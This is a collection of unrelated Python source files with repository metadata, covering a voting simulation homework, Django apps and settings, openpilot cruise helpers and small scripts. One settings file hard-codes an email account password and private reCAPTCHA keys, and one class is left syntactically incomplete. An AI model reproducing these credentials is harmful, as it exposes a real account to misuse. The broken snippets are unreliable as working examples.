for i in range(3000, 3000 + k / 100 - 1 + 1):
initial_prefs[i] = 'A'
prefs = iterate_voting(Graph, initial_prefs)
winner_letter, margin = winner(prefs)
# print(winner_letter, margin)
return margin
###########################################################################
def find_min_k(diffs):
"""
Function to return the minimum amount needed for A to win
:param - diff: list of (k, diff), where diff is the value by which A wins
(or loses) i.e. (A-B), for that k.
return type: int
return: The minimum amount needed for A to win
"""
###########################################################################
# TODO: Your code here!
k_prev = float('-inf')
for k, diff in diffs:
assert(k > k_prev)
k_prev = k
for k, diff in diffs:
if diff > 0:
return k
###########################################################################
def makePlot(res, title, name):
"""
Function to plot the amount spent and the number of votes the candidate
wins by
:param - res: The list of 2 sublists for 2 graphs. Each sublist is a list
of (k, diff) pair, where k is the amount spent, and diff is
the difference in votes (A-B).
title: The title of the plot
"""
Ks = [[k for k, diff in sub] for sub in res]
res = [[diff for k, diff in sub] for sub in res]
###########################################################################
# TODO: Your code here!
###########################################################################
print Ks
print res
plt.plot(Ks[0], [0.0] * len(Ks[0]), ':', color='black')
plt.plot(Ks[0], res[0], color='green', label='Graph 1')
plt.plot(Ks[1], res[1], color='red', label='Graph 2')
plt.xlabel('Amount spent ($)')
plt.ylabel('#votes for A - #votes for B')
plt.title(title)
plt.legend()
plt.savefig('{}.png'.format(name))
plt.clf()
def Q2():
print ("\nQ2:")
# List of graphs
Gs = read_graphs('graph1.txt', 'graph2.txt')
# List of amount of $ spent
Ks = [x * 1000 for x in range(1, 10)]
# List of (List of diff in votes (A-B)) for both graphs
res = [[(k, Q2sim(G, k)) for k in Ks] for G in Gs]
# List of minimum amount needed for both graphs
min_k = [find_min_k(diff) for diff in res]
formatString = "On graph {}, the minimum amount you can spend to win is {}"
for i in xrange(2):
print formatString.format(i + 1, min_k[i])
makePlot(res, 'TV Advertising', 'tv_ad_q2')
def get_degs(graph):
degs = []
ids = []
for node in graph.Nodes():
ids.append(node.GetId())
degs.append(node.GetDeg())
ids = np.array(ids)
degs = np.array(degs)
indices = np.flip(np.argsort(ids))
ids = ids[indices]
degs = degs[indices]
for i in range(1, len(ids)):
assert(ids[i] <= ids[i-1])
return ids, degs
def Q3sim(Graph, k):
"""
Function to simulate the effect of a dining event.
:param - Graph: snap.PUNGraph object representing an undirected graph
k: amount to be spent on the dining event
return type: int
return: The number of votes by which A wins (or loses), i.e. (number of
votes of A - number of votes of B)
Hint: Feel free to use initial_voting_state and iterate_voting functions.
"""
###########################################################################
# TODO: Your code here!
ids, degs = get_degs(Graph)
ids = np.array(ids)
degs = np.array(degs)
indices = np.argsort(degs, kind='stable')
degs = degs[indices]
ids = ids[indices]
for i in range(1, len(degs)):
assert(degs[i] >= degs[i-1])
if degs[i] == degs[i-1]:
assert(ids[i] < ids[i-1])
initial_prefs = initial_voting_state(Graph)
n_high_rollers = k / 1000
high_rollers = ids[-n_high_rollers:]
for vid in high_rollers:
initial_prefs[vid] = 'A'
prefs = iterate_voting(Graph, initial_prefs)
winner_letter, margin = winner(prefs)
return margin
###########################################################################
def Q3():
print ("\nQ3:")
# List of graphs
Gs = read_graphs('graph1.txt', 'graph2.txt')
# List of amount of $ spent
Ks = [x * 1000 for x in range(1, 10)]
# List of (List of diff in votes (A-B)) for both graphs
res = [[(k, Q3sim(G, k)) for k in Ks] for G in Gs]
# List of minimum amount needed for both graphs
min_k = [find_min_k(diff) for diff in res]
formatString = "On graph {}, the minimum amount you can spend to win is {}"
for i in xrange(2):
print formatString.format(i + 1, min_k[i])
makePlot(res, 'Wining and Dining', 'wine_dine_q3')
def getDataPointsToPlot(Graph):
"""
:param - Graph: snap.PUNGraph object representing an undirected graph
return values:
X: list of degrees
Y: list of frequencies: Y[i] = fraction of nodes with degree X[i]
"""
############################################################################
# TODO: Your code here!
X, Y = [], []
degree_map = {}
for node in Graph.Nodes():
if node.GetDeg() not in degree_map.keys():
degree_map[node.GetDeg()] = 0
degree_map[node.GetDeg()] += 1
for deg in degree_map.keys():
X.append(deg)
Y.append(float(degree_map[deg]) / Graph.GetNodes())
############################################################################
return X, Y
def Q4():
"""
Function to plot the distributions of two given graphs on a log-log scale.
"""
print ("\nQ4:")
###########################################################################
# TODO: Your code here!
Gs = read_graphs('graph1.txt', 'graph2.txt')
x1, y1 = getDataPointsToPlot(Gs[0])
plt.loglog(x1, y1, color = 'b', label = 'Graph 1')
x2, y2 = getDataPointsToPlot(Gs[1])
plt.loglog(x2, y2, color = 'r', label = 'Graph 2')
plt.xlabel('Node Degree (log)')
plt.ylabel('Proportion of Nodes with a Given Degree (log)')
plt.title('Degree Distribution for Graphs 1 and 2')
plt.legend()
plt.savefig('deg-dist.png')
###########################################################################
def main():
Q1()
Q2()
Q3()
Q4()
if __name__ == "__main__":
main()
|
[
"cgaffney@myth60.stanford.edu"
] |
cgaffney@myth60.stanford.edu
|
f3b6af6ee4ec875eb68acda35acff5e5fe247b2b
|
b5c220fdc79864004fc6b0868156c480355cf6cd
|
/bugtracker2/tickets/views.py
|
c82ed8f4016bcb0b5512a71dc7aafcdfa70b2ac2
|
[] |
no_license
|
mander5/BugTracker
|
82ed20e046cdc73497c39d4dee73816288cd86a3
|
183ee19a4693164ddb7cd628b57d585e36af02b2
|
refs/heads/master
| 2022-08-16T01:53:23.439920
| 2020-06-02T16:23:45
| 2020-06-02T16:23:45
| 267,913,860
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,581
|
py
|
from django.shortcuts import render
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.urls import reverse, reverse_lazy
from django.http import Http404
from django.views import generic
from braces.views import SelectRelatedMixin
# Create your views here.
from . import models
from . import forms
from django.contrib.auth import get_user_model
from django.contrib import messages
from django.http import HttpResponse, HttpResponseRedirect
User = get_user_model()
class TicketList(SelectRelatedMixin,generic.ListView):
model = models.Ticket
select_related = ('user', 'project')
class UserTickets(generic.ListView):
model = models.Ticket
template_name = 'tickets/user_ticket_list.html'
def get_queryset(self):
try:
self.ticket_user = User.objects.prefetch_related('tickets').get(username__iexact=self.kwargs.get('username'))
except User.DoesNotExist:
raise Http404
else:
return self.ticket_user.tickets.all()
def get_context_data(self,**kwargs):
context = super().get_context_data(**kwargs)
context['ticket_user'] = self.ticket_user
return context
class TicketDetail(SelectRelatedMixin,generic.DetailView):
model = models.Ticket
select_related = ('user','project')
def get_queryset(self):
queryset = super().get_queryset()
return queryset.filter(user__username__iexact=self.kwargs.get('username'))
class CreateTicket(LoginRequiredMixin,SelectRelatedMixin,generic.CreateView):
fields = ('message', 'project')
model = models.Ticket
def form_valid(self,form):
self.object = form.save(commit=False)
self.object.user = self.request.user
self.object.save()
return super().form_valid(form)
class DeleteTicket(UserPassesTestMixin, LoginRequiredMixin, SelectRelatedMixin, generic.DeleteView):
model = models.Ticket
select_related = ('user','project')
success_url = reverse_lazy('tickets:all')
def get_queryset(self):
queryset = super().get_queryset()
return queryset.filter(user_id = self.request.user.id)
def delete(self,*args,**kwargs):
messages.success(self.request,'Ticket Deleted')
return super().delete(*args,**kwargs)
def test_func(self):
return self.request.user.is_staff
def handle_no_permission(self):
messages.add_message(self.request, messages.INFO, 'Not enough permissions to delete a ticket')
return HttpResponseRedirect(self.request.META.get('HTTP_REFERER'))
|
[
"64420595+mander5@users.noreply.github.com"
] |
64420595+mander5@users.noreply.github.com
|
03f2004bb178933728e66f7c0e8cc9888da11591
|
a82b0755be62e6c0ace3c9524e88a6f772b7d8ed
|
/docs/source/conf.py
|
4a304258ad5e2abad9779a5bdda372aa2677138e
|
[
"MIT"
] |
permissive
|
nd1511/decompose
|
5241e3690631888da138633ba844b65270db522c
|
b6ad3e3d1a2d049f1853cdc309ad042293415ad1
|
refs/heads/master
| 2020-04-02T10:44:30.323471
| 2018-08-02T08:29:47
| 2018-08-02T08:29:47
| 154,352,539
| 1
| 0
| null | 2018-10-23T15:28:38
| 2018-10-23T15:28:37
| null |
UTF-8
|
Python
| false
| false
| 5,515
|
py
|
# -*- coding: utf-8 -*-
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/stable/config
# -- Path setup --------------------------------------------------------------
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
# import os
# import sys
# sys.path.insert(0, os.path.abspath('.'))
# -- Project information -----------------------------------------------------
project = 'Decompose'
copyright = '2018, Alexander Böttcher'
author = 'Alexander Böttcher'
# The short X.Y version
version = ''
# The full version, including alpha/beta/rc tags
release = '0.2-dev'
# -- General configuration ---------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.doctest',
'sphinx.ext.coverage',
'sphinx.ext.mathjax',
'sphinx.ext.viewcode',
'sphinx.ext.githubpages',
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path .
exclude_patterns = []
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# -- Options for HTML output -------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
#html_theme = 'sphinx_rtd_theme'
html_theme = 'alabaster'
html_sidebars = {
'**': [
'about.html',
'github.html',
'navigation.html',
'searchbox.html',
]
}
html_theme_options = {
'description': "A blind source separation algorithm based on the " \
"established probabilistic tensor factorization framwork.",
'github_user': 'bethgelab',
'github_repo': 'decompose',
'github_button': False,
'github_banner': True,
'fixed_sidebar': True,
}
releases_github_path = 'bethgelab/decompose'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Custom sidebar templates, must be a dictionary that maps document names
# to template names.
#
# The default sidebars (for documents that don't match any pattern) are
# defined by theme itself. Builtin themes are using these templates by
# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',
# 'searchbox.html']``.
#
# html_sidebars = {}
# -- Options for HTMLHelp output ---------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'Decomposedoc'
# -- Options for LaTeX output ------------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'Decompose.tex', 'Decompose Documentation',
'Alexander Böttcher', 'manual'),
]
# -- Options for manual page output ------------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'decompose', 'Decompose Documentation',
[author], 1)
]
# -- Options for Texinfo output ----------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'Decompose', 'Decompose Documentation',
author, 'Decompose', 'One line description of project.',
'Miscellaneous'),
]
# -- Extension configuration -------------------------------------------------
|
[
"alexander.boettcher@bethgelab.org"
] |
alexander.boettcher@bethgelab.org
|
82f343b0d37cd630fa5cc0a1359e7f7204126ad8
|
493b3285e137ff1a686bd3fef3c20e4184c710c7
|
/todo_drf/settings.py
|
66ea2e594e408aac388d0cf485d120223d4989b6
|
[] |
no_license
|
bishwash369/todo_app_rest_api
|
8d84140e5ccc231e37d7c4ea9d86c75b8b7e6323
|
559eed55f892ac1a35c451e19e665dabf18f8b17
|
refs/heads/master
| 2022-12-03T16:56:02.594534
| 2020-08-18T17:34:42
| 2020-08-18T17:34:42
| 288,520,860
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,152
|
py
|
"""
Django settings for todo_drf project.
Generated by 'django-admin startproject' using Django 3.0.9.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '7(w*2b@!q(b25r@7ja+0twr5c(k6a+&_pk2f9r!i8^%nd6254o'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'api.apps.ApiConfig',
'rest_framework',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'todo_drf.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'todo_drf.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
|
[
"bishwashparajuli10@gmail.com"
] |
bishwashparajuli10@gmail.com
|
1964d23ae56d078f0a52358a7967da8b93b080e3
|
70695216fe43d8e035f59e3529f2b6b2f1cb57db
|
/openpilot-0.8.8-devel-honda/selfdrive/controls/lib/drive_helpers.py
|
74db5c2cbab08eda669426ccfef367227ee1f5be
|
[
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
briantran33/openpilot-2
|
23ef5178985885c23ecf3e746d56961c1ae8649c
|
f787e21925b2703a1d1b5163380aea2c1b3faa75
|
refs/heads/master
| 2023-07-05T16:48:10.027880
| 2021-08-27T10:21:55
| 2021-08-27T10:21:55
| 436,485,381
| 0
| 0
|
MIT
| 2021-12-09T04:46:13
| 2021-12-09T04:46:12
| null |
UTF-8
|
Python
| false
| false
| 3,668
|
py
|
from cereal import car
from common.numpy_fast import clip, interp
from common.realtime import DT_MDL
from selfdrive.config import Conversions as CV
from selfdrive.modeld.constants import T_IDXS
# kph
V_CRUISE_MAX = 135
V_CRUISE_MIN = 5
V_CRUISE_DELTA = 5
V_CRUISE_ENABLE_MIN = 40
LAT_MPC_N = 16
LON_MPC_N = 32
CONTROL_N = 17
CAR_ROTATION_RADIUS = 0.0
# this corresponds to 80deg/s and 20deg/s steering angle in a toyota corolla
MAX_CURVATURE_RATES = [0.03762194918267951, 0.003441203371932992]
MAX_CURVATURE_RATE_SPEEDS = [0, 35]
class MPC_COST_LAT:
PATH = 1.0
HEADING = 1.0
STEER_RATE = 1.0
class MPC_COST_LONG:
TTC = 5.0
DISTANCE = 0.1
ACCELERATION = 10.0
JERK = 20.0
def rate_limit(new_value, last_value, dw_step, up_step):
return clip(new_value, last_value + dw_step, last_value + up_step)
def get_steer_max(CP, v_ego):
return interp(v_ego, CP.steerMaxBP, CP.steerMaxV)
def update_v_cruise(v_cruise_kph, buttonEvents, enabled, cur_time, accel_pressed,decel_pressed,accel_pressed_last,decel_pressed_last, fastMode):
if enabled:
if accel_pressed:
if ((cur_time-accel_pressed_last) >= 1 or (fastMode and (cur_time-accel_pressed_last) >= 0.5)):
v_cruise_kph += V_CRUISE_DELTA - (v_cruise_kph % V_CRUISE_DELTA)
elif decel_pressed:
if ((cur_time-decel_pressed_last) >= 1 or (fastMode and (cur_time-decel_pressed_last) >= 0.5)):
v_cruise_kph -= V_CRUISE_DELTA - ((V_CRUISE_DELTA - v_cruise_kph) % V_CRUISE_DELTA)
else:
for b in buttonEvents:
if not b.pressed:
if b.type == car.CarState.ButtonEvent.Type.accelCruise:
if (not fastMode):
v_cruise_kph += 1
elif b.type == car.CarState.ButtonEvent.Type.decelCruise:
if (not fastMode):
v_cruise_kph -= 1
v_cruise_kph = clip(v_cruise_kph, V_CRUISE_MIN, V_CRUISE_MAX)
return v_cruise_kph
def initialize_v_cruise(v_ego, buttonEvents, v_cruise_last):
for b in buttonEvents:
# 250kph or above probably means we never had a set speed
if b.type == car.CarState.ButtonEvent.Type.accelCruise and v_cruise_last < 250:
return v_cruise_last
return int(round(clip(v_ego * CV.MS_TO_KPH, V_CRUISE_ENABLE_MIN, V_CRUISE_MAX)))
def get_lag_adjusted_curvature(CP, v_ego, psis, curvatures, curvature_rates):
if len(psis) != CONTROL_N:
psis = [0.0 for i in range(CONTROL_N)]
curvatures = [0.0 for i in range(CONTROL_N)]
curvature_rates = [0.0 for i in range(CONTROL_N)]
# TODO this needs more thought, use .2s extra for now to estimate other delays
delay = CP.steerActuatorDelay + .2
current_curvature = curvatures[0]
psi = interp(delay, T_IDXS[:CONTROL_N], psis)
desired_curvature_rate = curvature_rates[0]
# MPC can plan to turn the wheel and turn back before t_delay. This means
# in high delay cases some corrections never even get commanded. So just use
# psi to calculate a simple linearization of desired curvature
curvature_diff_from_psi = psi / (max(v_ego, 1e-1) * delay) - current_curvature
desired_curvature = current_curvature + 2 * curvature_diff_from_psi
max_curvature_rate = interp(v_ego, MAX_CURVATURE_RATE_SPEEDS, MAX_CURVATURE_RATES)
safe_desired_curvature_rate = clip(desired_curvature_rate,
-max_curvature_rate,
max_curvature_rate)
safe_desired_curvature = clip(desired_curvature,
current_curvature - max_curvature_rate/DT_MDL,
current_curvature + max_curvature_rate/DT_MDL)
return safe_desired_curvature, safe_desired_curvature_rate
|
[
"briantran0302@gmail.com"
] |
briantran0302@gmail.com
|
4a59cda200aca653e282eee72af0b8e2c479e10a
|
2e48eefc8855d9d68978579b3e106f66436449ec
|
/swordfish_launcher/launcher/instance.py
|
5c88273555a10c1e0dd3ea710a26a7c0f9ab8492
|
[] |
no_license
|
wallefan/minefish
|
9456da6f06c9ef18f5328e1a9989073e15283459
|
099978de6e093f453b6edaff3e24a60627c8de58
|
refs/heads/master
| 2023-09-03T19:28:33.087371
| 2021-10-27T03:21:49
| 2021-10-27T03:21:49
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 557
|
py
|
import pathlib
import json
import subprocess
class Instance:
def __init__(self, diskpath:pathlib.Path):
if not diskpath.exists():
diskpath.mkdir()
assert diskpath.is_dir()
self.diskpath = diskpath
self.json_file = diskpath/'multimc.json'
if self.json_file.exists():
try:
self.config = json.loads(self.json_file.read_text())
except json.JSONDecodeError:
self.config=DEFAULT_CONFIG
else:
self.config = DEFAULT_CONFIG
def
|
[
"saworley39@yahoo.com"
] |
saworley39@yahoo.com
|
32bcbd32602739b85a9a04d5f6911a192275c212
|
504f47c6421cb691e7b2381d46f2ed079bb1f6b4
|
/car/settings/base.py
|
5bfce26f73797ad0e1f5bf81afc6d23950171218
|
[] |
no_license
|
kremerNK/cardealership
|
3e4dd10b338f9c5fd22351213b347216ac27d99b
|
e3c409187fc9e2acb6d61c215c38655d06922f5d
|
refs/heads/master
| 2022-05-31T21:24:45.065635
| 2020-04-28T18:37:22
| 2020-04-28T18:37:22
| 248,649,838
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,217
|
py
|
"""
Django settings for car project......
Generated by 'django-admin startproject' using Django 3.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
PROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
BASE_DIR = os.path.dirname(PROJECT_DIR)
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# Application definition
INSTALLED_APPS = [
'home',
'search',
'wagtail.contrib.forms',
'wagtail.contrib.redirects',
'wagtail.embeds',
'wagtail.sites',
'wagtail.users',
'wagtail.snippets',
'wagtail.documents',
'wagtail.images',
'wagtail.search',
'wagtail.admin',
'wagtail.core',
'modelcluster',
'taggit',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'carlist',
'captcha',
]
MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware',
'wagtail.core.middleware.SiteMiddleware',
'wagtail.contrib.redirects.middleware.RedirectMiddleware',
]
ROOT_URLCONF = 'car.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(PROJECT_DIR, 'templates'),
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'car.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATICFILES_FINDERS = [
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
]
# ManifestStaticFilesStorage is recommended in production, to prevent outdated
# Javascript / CSS assets being served from cache (e.g. after a Wagtail upgrade).
# See https://docs.djangoproject.com/en/3.0/ref/contrib/staticfiles/#manifeststaticfilesstorage
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.ManifestStaticFilesStorage'
# STATIC_URL = os.path.join(BASE_DIR, 'static/')
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(PROJECT_DIR, 'static'),
os.path.join(PROJECT_DIR, 'media'),
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
# MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
# Wagtail settings
WAGTAIL_SITE_NAME = "car"
# Base URL to use when referring to full URLs within the Wagtail admin backend -
# e.g. in notification emails. Don't include '/admin' or a trailing slash
BASE_URL = 'http://example.com'
#DataFlair
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_HOST = 'smtp.gmail.com'
EMAIL_HOST_USER = 'glycine775@gmail.com'
EMAIL_HOST_PASSWORD = 'knsjvowvflaoskoj'
EMAIL_PORT = 587
EMAIL_USE_TLS = True
EMAIL_USE_SSL = False
# GOOGLE_RECAPTCHA_SECRET_KEY = '6LeO3eQUAAAAAAReszeWtg7m4-k9DedqdRmrZY6V'
# GOOGLE_RECAPTCHA_PUBLIC_KEY = '6LeO3eQUAAAAAGNB6wT7B1E699cygSITiKgWPPtQ'
RECAPTCHA_PUBLIC_KEY = '6LeO3eQUAAAAAGNB6wT7B1E699cygSITiKgWPPtQ'
RECAPTCHA_PRIVATE_KEY = '6LeO3eQUAAAAAAReszeWtg7m4-k9DedqdRmrZY6V'
SILENCED_SYSTEM_CHECKS = ['captcha.recaptcha_test_key_error']
#captcha site key 6Lehy-MUAAAAAAE5cMzCz8btbiqfrRHnf_ovTSrb
#captcha secret key 6Lehy-MUAAAAAG_NmXp_E-3esjbasnp3Tq2eU0Bn
# knsjvowvflaoskoj
|
[
"easton08@protonmail.com"
] |
easton08@protonmail.com
|
e52a58221e4b4abe3aa967cf65e1172049794278
|
8e4b64d587d779248d5c25e6064060091995ab68
|
/FindRegExInFile/view.py
|
e77a753ae2c251ee55828a359e5c4b12e53cb87c
|
[] |
no_license
|
leonia-bit/RedHat
|
82b6242cdb7a359e4c639cdb989eea4d9327c4f8
|
2e976a4ea2a5117168b4a0127ee538fa96c11493
|
refs/heads/master
| 2020-11-28T11:52:42.730600
| 2019-12-29T11:17:59
| 2019-12-29T11:17:59
| 229,805,205
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,339
|
py
|
"""File name: view.py
Description: present Model View Controller Pattern: view part
View represents the client, which interact with the end user.
Module functions:
Description: this code represents the model’s data to user.
"""
from formatprint import *
# tuple holders defines
LINE_NUMBER_PLACE = 0
LINE_PLACE = 1
# interface to continue or not enter lines from cmd line
def user_continue_view():
print("Would you like to continue?")
# interface to enter new line from cmd line
def user_input_line_view():
print("Enter line: ")
# interface to start enter lines to inspect from cmd line
def user_input_view(regexp_pattern):
print("Files to inspect were not provided regexp pattern is: " + regexp_pattern)
print('Do you want enter lines to inspect? [y/n]')
# interface to view all matched data according to regexp pattern and output format
def show_all_view(file_data_list, regexp_pattern, output_format):
print('In our db we have %i lines. Starting inspect:' % len(file_data_list))
print("Lines that matched following pattern: " + regexp_pattern + " will be displayed")
print("Following format was selected by user: " + output_format)
for data in file_data_list:
for line in data["line"]:
if re.search(regexp_pattern, line[LINE_PLACE]):
if output_format == 'color':
print_color = PrintColor(data["name"], str(line[LINE_NUMBER_PLACE]),
line[LINE_PLACE], regexp_pattern)
print_color.go()
elif output_format == 'underscore':
print_underscore = PrintUnderscore(data["name"], str(line[LINE_NUMBER_PLACE]),
line[LINE_PLACE], regexp_pattern)
print_underscore.go()
elif output_format == 'machine':
print_machine = PrintMachine(data["name"], str(line[LINE_NUMBER_PLACE]),
line[LINE_PLACE], regexp_pattern)
print_machine.go()
# interface to stat interact with user
def start_view():
print('RedHat - coding task')
print('Do you want start?[y/n]')
# interface to finish interact with user
def end_view():
print('Goodbye!')
|
[
"leonia.klebanov@gmail.com"
] |
leonia.klebanov@gmail.com
|
ae06126ea085b7cdbfc61dece37f19d181c23daa
|
49701b6719f8d6663dd63aa83a71ec23a6c6a4e1
|
/reference/Even_odd_recursive.py
|
3997064a173695bfbd4bb01f4715e99273b630bb
|
[] |
no_license
|
ashwini-cm-au9/DS-and-Algo-with-Python
|
6bb9c729f4e9e6900e41f2e9a85595c85aff0a79
|
2a55b63cb755c7ab25e76107b5031ce51e384abd
|
refs/heads/master
| 2022-12-29T02:23:50.727684
| 2020-10-13T17:06:14
| 2020-10-13T17:06:14
| 289,513,684
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 228
|
py
|
#python-program-determine-even-odd-recursively
def solve(num):
if num-2==0:
return True
else:
return False
return solve(num-2)
if(solve(int(input()))==True):
print("even")
else:
print("odd")
|
[
"ashwinichuri93@gamil.com"
] |
ashwinichuri93@gamil.com
|
323399468e121db6088ab3c5c5426548aed610cc
|
d81b2459b3495741bdca586cf6dd91fd09f91d5c
|
/inventory_management/inventory_management/asgi.py
|
8b56ef4806ba763e321a7f041fc5a0317bb880f0
|
[
"BSD-2-Clause"
] |
permissive
|
AxiosDeminence/InventoryDB
|
3025318fb4b8b5265887ddd5f35e48067d1ec33b
|
d0680692091d7bf6226a1cf4f8c293a212e9131b
|
refs/heads/main
| 2023-04-29T15:39:24.933283
